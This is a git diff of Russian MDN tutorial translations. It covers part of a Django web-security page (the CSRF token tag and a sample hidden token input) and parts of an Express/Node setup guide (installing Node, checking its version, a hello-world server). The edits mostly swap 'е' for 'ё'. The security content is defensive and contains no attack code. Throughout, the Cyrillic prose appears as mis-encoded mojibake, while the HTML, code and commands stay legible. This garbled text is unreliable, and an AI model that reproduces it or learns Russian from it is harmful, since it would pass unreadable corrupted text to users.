-<p>ΠœΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ добавляСтС Ρ‚Π΅Π³ шаблона <code>{% csrf_token %}</code> Π² Π²Π°ΡˆΡƒ Ρ„ΠΎΡ€ΠΌΡƒ. Π­Ρ‚ΠΎΡ‚ Ρ‚ΠΎΠΊΠ΅Π½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ Π² вашСм HTML ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅, со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°ΡŽΡ‰Π΅Π³ΠΎ Ρ„ΠΎΡ€ΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
+<p>ΠœΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ добавляСтС Ρ‚Π΅Π³ шаблона <code>{% csrf_token %}</code> Π² Π²Π°ΡˆΡƒ Ρ„ΠΎΡ€ΠΌΡƒ. Π­Ρ‚ΠΎΡ‚ Ρ‚ΠΎΠΊΠ΅Π½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½ Π² вашСм HTML ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅, со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°ΡŽΡ‰Π΅Π³ΠΎ Ρ„ΠΎΡ€ΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
<pre class="brush: html">&lt;input type='hidden' name='csrfmiddlewaretoken' value='0QRWHnYVg776y2l66mcvZqp8alrv4lb8S8lZ4ZJUWGZFA5VHrVfL2mpH29YZ39PW' /&gt;
</pre>
@@ -138,7 +138,7 @@ translation_of: Learn/Server-side/Django/web_application_security
<h2 id="Подводим_ΠΈΡ‚ΠΎΠ³ΠΈ">Подводим ΠΈΡ‚ΠΎΠ³ΠΈ</h2>
-<p>Django ΠΈΠΌΠ΅Π΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ обСспСчСния Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΎΡ‚ распространСнных Π²ΠΈΠ΄ΠΎΠ² Π°Ρ‚Π°ΠΊ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ XSS ΠΈ CSRF Π°Ρ‚Π°ΠΊΠΈ. Π’ Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ продСмонстрировали, ΠΊΠ°ΠΊ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π²ΠΈΠ΄Ρ‹ Π°Ρ‚Π°ΠΊ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ Django Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ нашСго прилоТСния <em>LocalLibrary</em>. ΠœΡ‹ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΡ€Π°Ρ‚ΠΊΠΎ рассмотрСли Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π²ΠΈΠ΄Ρ‹ уязвимостСй ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΎΡ‚ Π½ΠΈΡ….</p>
+<p>Django ΠΈΠΌΠ΅Π΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ обСспСчСния Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΎΡ‚ распространённых Π²ΠΈΠ΄ΠΎΠ² Π°Ρ‚Π°ΠΊ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ XSS ΠΈ CSRF Π°Ρ‚Π°ΠΊΠΈ. Π’ Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ продСмонстрировали, ΠΊΠ°ΠΊ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π²ΠΈΠ΄Ρ‹ Π°Ρ‚Π°ΠΊ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ Django Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ нашСго прилоТСния <em>LocalLibrary</em>. ΠœΡ‹ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΡ€Π°Ρ‚ΠΊΠΎ рассмотрСли Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π²ΠΈΠ΄Ρ‹ уязвимостСй ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΎΡ‚ Π½ΠΈΡ….</p>
<p>Π­Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ΠΊΡ€Π°Ρ‚ΠΊΠΎΠ΅ ΠΏΠΎΠ³Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ Π² вопрос Π²Π΅Π±-бСзопасности. ΠœΡ‹ ΠΊΡ€Π°ΠΉΠ½Π΅ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌ Π²Π°ΠΌ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ <a href="https://docs.djangoproject.com/en/2.0/topics/security/">Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ Π² Django</a> для Π±ΠΎΠ»Π΅Π΅ Π³Π»ΡƒΠ±ΠΎΠΊΠΎΠ³ΠΎ понимания.</p>
diff --git a/files/ru/learn/server-side/express_nodejs/development_environment/index.html b/files/ru/learn/server-side/express_nodejs/development_environment/index.html
index 50a624c3cb..c0c188f731 100644
--- a/files/ru/learn/server-side/express_nodejs/development_environment/index.html
+++ b/files/ru/learn/server-side/express_nodejs/development_environment/index.html
@@ -35,7 +35,7 @@ translation_of: Learn/Server-side/Express_Nodejs/development_environment
NPM Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для (глобальной) установки Express Application Generator, ΡƒΠ΄ΠΎΠ±Π½ΠΎΠ³ΠΎ инструмСнта для создания каркасных Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Express, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΡˆΠ°Π±Π»ΠΎΠ½Ρƒ MVC. Π“Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ являСтся Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот инструмСнт для создания ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ… Express, ΠΈΠ»ΠΈ для ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ для создан Express, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ… ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΡƒΡŽ Π°Ρ€Ρ…ΠΈΡ‚Π΅ΠΊΡ‚ΡƒΡ€Π½ΡƒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ ΠΈΠ»ΠΈ зависимости. ΠœΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ это Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠ±Π»Π΅Π³Ρ‡Π°Π΅Ρ‚ Π½Π°Ρ‡Π°Π»ΠΎ Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΈ ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ³Π°Π΅Ρ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒΠ½ΡƒΡŽ структуру прилоТСния.</span></p>
<div class="note">
-<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Π±-срСд, срСда Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π²Π΅Π±-сСрвСр Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ.</span> <span title="">Π’ Node / Express Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ создаСт ΠΈ запускаСт собствСнный Π²Π΅Π±-сСрвСр!</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Π±-срСд, срСда Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ Π²Π΅Π±-сСрвСр Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ.</span> <span title="">Π’ Node / Express Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ создаёт ΠΈ запускаСт собствСнный Π²Π΅Π±-сСрвСр!</span></span></p>
</div>
<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠ΅Ρ€ΠΈΡ„Π΅Ρ€ΠΈΠΉΠ½Ρ‹Π΅ инструмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ Ρ‚ΠΈΠΏΠΈΡ‡Π½ΠΎΠΉ срСды Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, Π² Ρ‚ΠΎΠΌ числС тСкстовыС Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Ρ‹ ΠΈΠ»ΠΈ IDE для рСдактирования ΠΊΠΎΠ΄Π° ΠΈ инструмСнты управлСния исходным ΠΊΠΎΠ΄ΠΎΠΌ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Git, для бСзопасного управлСния Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ вСрсиями вашСго ΠΊΠΎΠ΄Π°.</span> <span title="">ΠœΡ‹ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΡƒΠΆΠ΅ установили ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ инструмСнты (Π² частности, тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€).</span></span></p>
@@ -50,11 +50,11 @@ translation_of: Learn/Server-side/Express_Nodejs/development_environment
<p><span class="tlid-translation translation" lang="ru"><span title="">БущСствуСт мноТСство выпусков Node - Π±ΠΎΠ»Π΅Π΅ Π½ΠΎΠ²Ρ‹Π΅ выпуски содСрТат исправлСния ошибок, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ Π±ΠΎΠ»Π΅Π΅ свСТих вСрсий стандартов ECMAScript (JavaScript) ΠΈ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ API-интСрфСйсов Node.</span><br>
<br>
- <span title="">Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ самый послСдний выпуск LTS (с долгосрочной ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ), ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ, Ρ‡Π΅ΠΌ Β«Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉΒ» выпуск, ΠΏΡ€ΠΈ этом всС Π΅Ρ‰Π΅ имСя ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π΅Π΄Π°Π²Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ (ΠΈ всС Π΅Ρ‰Π΅ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎ поддСрТиваСтся).</span> <span title="">Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π’Π΅ΠΊΡƒΡ‰ΠΈΠΉ выпуск, Ссли Π²Π°ΠΌ Π½ΡƒΠΆΠ½Π° функция, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π½Π΅Ρ‚ Π² вСрсии LTS.</span><br>
+ <span title="">Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ самый послСдний выпуск LTS (с долгосрочной ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ), ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ, Ρ‡Π΅ΠΌ Β«Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉΒ» выпуск, ΠΏΡ€ΠΈ этом всС Π΅Ρ‰Ρ‘ имСя ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π΅Π΄Π°Π²Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ (ΠΈ всС Π΅Ρ‰Ρ‘ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎ поддСрТиваСтся).</span> <span title="">Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π’Π΅ΠΊΡƒΡ‰ΠΈΠΉ выпуск, Ссли Π²Π°ΠΌ Π½ΡƒΠΆΠ½Π° функция, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π½Π΅Ρ‚ Π² вСрсии LTS.</span><br>
<br>
<span title="">Для Express Π²Ρ‹ всСгда Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ послСднюю Π²Π΅Ρ€ΡΠΈΡŽ.</span></span></p>
-<h3 id="Как_насчСт_Π±Π°Π·_Π΄Π°Π½Π½Ρ‹Ρ…_ΠΈ_Π΄Ρ€ΡƒΠ³ΠΈΡ…_зависимостСй"><span class="tlid-translation translation" lang="ru"><span title="">Как насчСт Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… зависимостСй?</span></span></h3>
+<h3 id="Как_насчёт_Π±Π°Π·_Π΄Π°Π½Π½Ρ‹Ρ…_ΠΈ_Π΄Ρ€ΡƒΠ³ΠΈΡ…_зависимостСй"><span class="tlid-translation translation" lang="ru"><span title="">Как насчёт Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… зависимостСй?</span></span></h3>
<p><span class="tlid-translation translation" lang="ru"><span title="">Π”Ρ€ΡƒΠ³ΠΈΠ΅ зависимости, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π΄Ρ€Π°ΠΉΠ²Π΅Ρ€Ρ‹ Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ…, ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹ шаблонов, ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΈ Ρ‚. Π΄., Π―Π²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ прилоТСния ΠΈ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π² срСду прилоТСния с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ диспСтчСра ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² NPM.</span> <span title="">ΠœΡ‹ обсудим ΠΈΡ… Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ… для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ.</span></span></p>
@@ -78,7 +78,7 @@ translation_of: Learn/Server-side/Express_Nodejs/development_environment
<li><span class="tlid-translation translation" lang="ru"><span title="">НаТмитС ΠΊΠ½ΠΎΠΏΠΊΡƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ сборку LTS, которая «РСкомСндуСтся для Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉΒ».</span></span></li>
</ol>
</li>
- <li><span class="tlid-translation translation" lang="ru"><span title="">УстановитС Node, Π΄Π²Π°ΠΆΠ΄Ρ‹ Ρ‰Π΅Π»ΠΊΠ½ΡƒΠ² ΠΏΠΎ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠΌΡƒ Ρ„Π°ΠΉΠ»Ρƒ ΠΈ слСдуя инструкциям ΠΏΠΎ установкС.</span></span></li>
+ <li><span class="tlid-translation translation" lang="ru"><span title="">УстановитС Node, Π΄Π²Π°ΠΆΠ΄Ρ‹ Ρ‰Ρ‘Π»ΠΊΠ½ΡƒΠ² ΠΏΠΎ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½ΠΎΠΌΡƒ Ρ„Π°ΠΉΠ»Ρƒ ΠΈ слСдуя инструкциям ΠΏΠΎ установкС.</span></span></li>
</ol>
<h3 id="Ubuntu_16.04">Ubuntu 16.04</h3>
@@ -98,7 +98,7 @@ sudo apt-get install -y nodejs</code>
<h3 id="ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°_вашСй_установки_Nodejs_ΠΈ_NPM">ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° вашСй установки Nodejs ΠΈΒ NPM</h3>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘Π°ΠΌΡ‹ΠΉ простой способ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, установлСн Π»ΠΈ этот ΡƒΠ·Π΅Π», - это Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ «вСрсия» Π² своСм Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Π΅ / ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ возвращаСтся строка вСрсии:</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘Π°ΠΌΡ‹ΠΉ простой способ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, установлСн Π»ΠΈ этот ΡƒΠ·Π΅Π», - это Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ «вСрсия» Π² своём Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Π΅ / ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ возвращаСтся строка вСрсии:</span></span></p>
<pre class="brush: bash notranslate">&gt;node -v
v8.11.3</pre>
@@ -137,7 +137,7 @@ server.listen(port, hostname, () =&gt; {
<p><span class="tlid-translation translation" lang="ru"><span title="">Код ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Β«httpΒ» ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΅Π³ΠΎ для создания сСрвСра (createServer ()), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ HTTP-запросы Π½Π° ΠΏΠΎΡ€Ρ‚Ρƒ 3000. Π—Π°Ρ‚Π΅ΠΌ сцСнарий Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ Π½Π° консоль сообщСниС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΎΠΉ URL-адрСс Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для тСстирования сСрвСра.</span> <span title="">Ѐункция createServer () ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° колбэк-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ HTTP-запроса - ΠΎΠ½Π° просто Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ‚ с ΠΊΠΎΠ΄ΠΎΠΌ состояния HTTP 200 («ОК») ΠΈ простым тСкстом Β«Hello WorldΒ».</span></span></p>
<div class="note">
- <p><span class="tlid-translation translation" lang="ru"><span title="">Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: Π½Π΅ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΉΡ‚Π΅ΡΡŒ, Ссли Π²Ρ‹ Π΅Ρ‰Π΅ Π½Π΅ совсСм ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ этот ΠΊΠΎΠ΄!</span> <span title="">ΠœΡ‹ объясним наш ΠΊΠΎΠ΄ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Express!</span></span></p>
+ <p><span class="tlid-translation translation" lang="ru"><span title="">Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: Π½Π΅ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΉΡ‚Π΅ΡΡŒ, Ссли Π²Ρ‹ Π΅Ρ‰Ρ‘ Π½Π΅ совсСм ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ этот ΠΊΠΎΠ΄!</span> <span title="">ΠœΡ‹ объясним наш ΠΊΠΎΠ΄ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Express!</span></span></p>
</div>
</li>
<li><span class="tlid-translation translation" lang="ru"><span title="">ЗапуститС сСрвСр, пСрСйдя Π² Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³, Ρ‡Ρ‚ΠΎ ΠΈ ваш Ρ„Π°ΠΉΠ» hellonode.js Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС, ΠΈ Π²Ρ‹Π·Π²Π°Π² ΡƒΠ·Π΅Π» вмСстС с ΠΈΠΌΠ΅Π½Π΅ΠΌ скрипта, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊ:</span></span>
@@ -153,7 +153,7 @@ Server running at http://127.0.0.1:3000/
<p><span class="tlid-translation translation" lang="ru"><span title="">Помимо самого Node, NPM являСтся Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ Π²Π°ΠΆΠ½Ρ‹ΠΌ инструмСнтом для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с прилоТСниями Node.</span> <span title="">NPM ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для получСния Π»ΡŽΠ±Ρ‹Ρ… ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² (Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ JavaScript), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, тСстирования ΠΈ / ΠΈΠ»ΠΈ производства, Π° Ρ‚Π°ΠΊΠΆΠ΅ 